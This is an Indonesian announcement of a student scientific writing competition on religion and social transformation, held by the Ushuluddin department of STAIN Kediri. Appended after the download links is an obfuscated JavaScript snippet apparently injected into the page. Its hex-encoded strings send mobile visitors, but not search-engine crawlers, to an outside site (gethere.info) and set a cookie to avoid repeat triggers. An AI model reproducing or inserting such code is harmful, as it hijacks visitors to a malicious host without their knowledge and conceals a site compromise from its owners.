Agama tetap menjadi isu sentral dalam berbangsa dan bernegara. Pemisahan kepentingan antara agama dan negara menjadi polemik tersendiri untuk menentukan pilihan bagaimana sebuah negara itu bergerak dan berkembang dalam dinamika sosial yang terus meningkat kompleksitasnya. Masyarakat perlu mengenal bagaimana sebuah negara itu mengembangkan dan meningkatkan potensi mereka serta bergerak searah dengan pergerakan aturan aturan agama yang dianut dalam sebuah negara. Pun juga Indonesia, hubungan agama dan negara tetap menjadi kajian menarik untuk dibahas apakah dalam realitasnya peran dari masing masing sektor ini menjadi pendukung antara satu dengan yang lainnya ataukah tidak. Sebagai bagian dari agen of change serta agen of development, kampus menjadi titik pusat dalam membangun peradaban bagaimana sebuah negara dapat tumbuh berkembang searah dengan dijalankannya aturan aturan agama. Kajian tentang agama menjadi penting untuk terus dikembangkan untuk meningkatkan potensi negara yang beradab dan berketeraturan sesuai dengan apa yang dicita citakan dalam bernegara. Dengan terus mengembangkan kajian, penelitian dan tulisan tulisan tentang agama diharapkan agama menjadi sesuatu yang harus ada dan harus dibutuhkan dalam berkehidupan.
Dinamika sosial yang terus berkembang pada era sekarang menjadi fokus kekhawatiran tersendiri. Bahwa dengan mengikuti perkembangan zaman, apakah kita sudah dianggap maju dan survive ataukah kita harus terbawa atau melawan arus?. Menjadi pertanyaan yang sangat penting untuk ditindaklanjuti lebih jauh, bahwa semua perkembangan dan dinamika sosial yang ada ini harus diperankan dan dijalankan sesuai dengan yang telah digariskan dalam aturan aturan baku yaitu agama. Mungkin sekarang batasan batasan tentang agama menjadi sangat tipis dikala masyarakat pada umumnya mulai memimikirkan bahwa adanya aturan atau batasan itu menjadi penghalang untuk bagaimana mengembangkan diri dan hidup dalam dinamika sosial yang terus berkembang. Transformasi sosial menjadi tawaran menarik untuk bagaimana masyarakat pada umumnya hidup dan berkembang. Sebagai makhluk sosial yang terus mengahadapi masalah masalah sosial, mereka juga harus bertahan dan berkembang dalam menghadapi hal tersebut. Tantangan tersendiri ketika ada hal tersebut adalah apakah transformasi sosial tersebut akan bisa berjalan sesuai dengan koridor dalam agama ataukah tidak?. Pertanyaan yang sangat penting ini adalah hal yang sangat menarik untuk menjadi fokus perhatian bagi para akademisi dan peneliti. Berkembangnya cara cara kita untuk hidup bersosial tersebut seharusnya tetap berjalan dalam batas perkembangan agama yang ada. Untuk membatasi bagaimana sesuatu tersebut dianggap benar dan baik untuk kehidupan bermasyarakat.
Kampus mempunyai peran yang sangat penting untuk terus mengawal perkembangan ini. Untuk itu Jurusan Ushuludin dan Ilmu Sosial Stain Kediri merasa bahwa membangun iklim yang kompetitif dalam mengembangkan pemikiran melalui budaya menulis adalah penting. Selain itu eksistensi Jurusan ini menjadi latar belakang utama bahwa kajian dalam perihal Agama dan Sosial adalah bagian penting dalam kehidupan yang harus selalu dikembangkan oleh kampus. Mahasiswa mempunyai peran penting disini sebagai bagian dari akademisi dan civitas akdemika kampus, bahwa memang kampus mempunyai peran yang sangat penting untuk membangun peradaban. Untuk itu pentingnya diadakan Lomba Karya Tulis Ilmiah ini menjadi salah satu upaya menghidupkan peran penting dari mahasiswa untuk mengembangkan daya kritis dan ilmiah dalam membangun masyarakat. Diharapkan dengan adanya lomba ini, mahasiswa mampu berfikir kritis, analitis dan solutif untuk menyelesaikan masalah masalah sosial. Dari latar belakang tersebut, Jurusan Ushuluddin STAIN Kediri mengadakan kegiatan kemahasiswaaan dalam bentuk Lomba Karya Tulis Ilmiah. Adapun tema Lomba Karya Tulis Ilmiah ini adalah:
a�? Agama dan Transformasi Sosiala�?.
Informasi lebih lanjut bisa unduh file di bawah ini:
Surat Pernyataan Keaslian Karya Tulis Ilmiah
var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}